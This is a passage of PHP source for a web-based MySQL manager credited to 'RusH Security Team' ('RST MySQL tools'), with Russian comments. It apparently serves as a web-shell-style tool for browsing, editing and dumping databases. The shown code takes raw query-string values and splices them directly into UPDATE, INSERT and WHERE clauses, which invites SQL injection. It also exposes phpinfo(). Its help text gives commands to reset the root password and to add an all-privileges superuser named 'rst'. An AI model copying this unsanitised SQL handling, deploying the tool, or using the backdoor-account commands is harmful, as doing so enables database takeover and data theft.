$r_del = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
print "Успешно удалено строк ( ".mysql_affected_rows()." )";
}
//выводим форму редактирования строки
if (isset($query_edit)) {
$query = 'SELECT * FROM '.$tbl.' WHERE '.urldecode($query_edit);
$r_edit = mysql_query($query) or die("$h_error".mysql_error()." $f_error");
print "Редактирование значений полей таблицы ".
" ";
print " ";
}
if (isset($q_get)) {
$url=$HTTP_SERVER_VARS['QUERY_STRING'];
if ($HTTP_GET_VARS['up_str']=='up_ok') {
$del_str=urldecode(substr_replace($del_str,"",-5));
$b = explode('&', $url);
for ($i = 10; $i < count($b); $i++) {
$q = explode("=",$b[$i]);
$q_a .= "`".$q[0]."`='".$q[1]."', ";
}
$q_a_ins=urldecode(substr_replace($q_a,"",-2));
$q_st=urldecode(substr_replace($q_st,"",-2));
//что заменяем $del_str
//на что будем менять $q_a_ins
$up="UPDATE `$tbl` SET $q_a_ins WHERE $del_str LIMIT 1";
$q_ins_new = mysql_query($up) or die("$h_error".mysql_error()." $f_error");
$c_a_r=mysql_affected_rows();
print "".
"PHP-код запроса: \$sql=\"$up\"; ".
"Изменено строк ($c_a_r)
";
}
if ($HTTP_GET_VARS['up_str']=='ins_ok') {
$b = explode('&', $url);
for ($i = 10; $i < count($b); $i++) {
$q = explode("=",$b[$i]);
$i_cols .="`$q[0]`, ";
$i_val .= "'$q[1]', ";
}
$i_cols=urldecode(substr_replace($i_cols,"",-2)); //колонки
$q_a_ins=urldecode(substr_replace($i_val,"",-2)); //значения
$up="INSERT INTO `$tbl` ($i_cols) VALUES ($q_a_ins)";
$q_ins_new = mysql_query($up) or die("$h_error".mysql_error()." $f_error");
$c_a_r=mysql_affected_rows();
print "".
"PHP-код запроса: \$sql=\"$up\"; ".
"Изменено строк ($c_a_r)
";
}
}
/*------------Вставить ряд--------------*/
if (isset($nn_row) && $HTTP_GET_VARS['nn_row']=='ok') {
$nn_q = 'SHOW FIELDS FROM '.$tbl;
$r_n = mysql_query($nn_q) or die("$h_error".mysql_error()." $f_error");
print "".
" ".
" ".
" ".
" ".
" ".
" ".
" ".
" ".
"Вставить новый ряд в таблицу [ $tbl ] ".
" ";
}
if (isset($nn) && $HTTP_GET_VARS['nn']=='ok') {
$url_n=urldecode($HTTP_SERVER_VARS['QUERY_STRING']);
$b_nn = explode('&', $url_n);
for ($i = 8; $i < count($b_nn); $i++) {
$q_nn = explode("=",$b_nn[$i]);
$q_a_nn .= "`".$q_nn[0]."` ,";
$q_nn_v .= "'".$q_nn[1]."' ,";
}
$q_nn_ins=urldecode(substr_replace($q_a_nn,"",-2));
$q_nn_v=substr_replace($q_nn_v,"",-2);
$sql_n="INSERT INTO `$tbl` ( $q_nn_ins ) VALUES ( $q_nn_v )";
mysql_query($sql_n) or die("$h_error".mysql_error()." $f_error");
$c_n_r=mysql_affected_rows();
print " ".
"Action: Успешно вставлено строк ($c_n_r) ".
"PHP-код запроса: \$sql=\"$sql_n\";
";
}
/*-----------dump таблицы------------*/
$form_dump=
"".
" ".
" ".
" ".
" ".
" ".
" ".
" ".
" ".
" ";
if ($dump=="tab"){ print $form_dump;}
/*----------Только структура------------*/
if ($HTTP_GET_VARS['strukt']=='t_strukt' && $HTTP_GET_VARS['send']=='send_br' ){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
//$file = "/tmp/dump_".$tbl.".sql";
// открываем файл для записи дампа
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
// получаем текст запроса создания структуры таблицы
$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
$row = mysql_fetch_row($res);
fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
fputs($fp, $row[1].";\n\n");
fclose($fp);
$dump_file=file($file);
print "";
foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
print "
";
unlink($file);
}
/*----------Структура и данные------------*/
if ($HTTP_GET_VARS['strukt']=='d_strukt' && $HTTP_GET_VARS['send']=='send_br'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
//$file = "/tmp/dump_".$tbl.".sql";
// открываем файл для записи дампа
$fp = fopen($file, "w");
fputs ($fp, "# RST MySQL tools\r\n# Home page: http://rst.void.ru\r\n#\n# Host settings:\n# $host ($ip)\n # MySQL version: (".mysql_get_server_info().")\n# Date: ".
date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
// получаем текст запроса создания структуры таблицы
$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error".mysql_error()." $f_error");
$row = mysql_fetch_row($res);
fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
fputs($fp, $row[1].";\n\n");
// получаем данные таблицы
$res = mysql_query("SELECT * FROM `$tbl`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fclose($fp);
$dump_file=file($file);
print "";
foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
print "
";
unlink($file);
}
/*----------Только данные------------*/
if ($HTTP_GET_VARS['strukt']=='d' && $HTTP_GET_VARS['send']=='send_br'){
$host = $HTTP_SERVER_VARS["SERVER_NAME"];
$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
mysql_select_db($db) or die("$h_error".mysql_error()." $f_error");
//$file = "/tmp/dump_".$tbl.".sql";
// открываем файл для записи дампа
$fp = fopen($file, "w");
// получаем данные таблицы
$res = mysql_query("SELECT * FROM `$tbl`", $connection);
if (mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
$keys = implode("`, `", array_keys($row));
$values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
fputs($fp, $sql);
}
}
fclose($fp);
$dump_file=file($file);
print "";
foreach ($dump_file as $k=>$v){$v=str_replace("\n"," ",$v);print "".strip_tags($v," ")." ";}
print "
";
unlink($file);
}
/*-------------END! показать строки таблицы--------------*/
print "
";
}
/*------------------------ END R I G H T B L O C K ! -----------------------*/
/*информация php*/
if (isset($php) && $php=='ok'){
phpinfo();
}
if (isset($q_help) && $q_help=='ok'){
print 'Мини HELP по запросам
SHOW TABLES выводит список таблиц базы
SHOW OPEN TABLES выводит список таблиц, которые в настоящий момент открыты в кэше таблицы
SHOW TABLE STATUS структура таблиц базы
SELECT VERSION(), CURRENT_DATE выводит версию MySQL сервера и текущую дату
SELECT (2*2), (4+1)*5, (9/3), (5-3) используем MySQL как калькулятор: указываем через запятую арифметические операции
DROP TABLE IF EXISTS table_name удалить таблицу \"table_name\"
CREATE TABLE bar (m INT) создать таблицу bar с одним столбцом (m) типа integer
CREATE TABLE test (number INTEGER,texts CHAR(10)); создать таблицу test с полями number -тип INTEGER и поле texts -тип CHAR
CREATE TABLE `test` SELECT * FROM `rush`; создать таблицу test ,копируя таблицу rush
ALTER TABLE test CHANGE SITE OLD_SITE INTEGER переименовать столбец INTEGER из SITE в OLD_SITE
ALTER TABLE test RENAME rush переименовать таблицу test в rush
UPDATE mysql.user SET Password=PASSWORD(\'new_passwd\') WHERE user=\'root\' сменить юзеру root пароль
FLUSH PRIVILEGES перечитать таблицу привилегий юзеров
GRANT ALL PRIVILEGES ON *.* TO rst@localhost IDENTIFIED BY \'some_pass\' WITH GRANT OPTION добавить нового супер-юзера mysql rst с паролем some_pass
';
}
print "
free script ©RusH Security Team
";
?>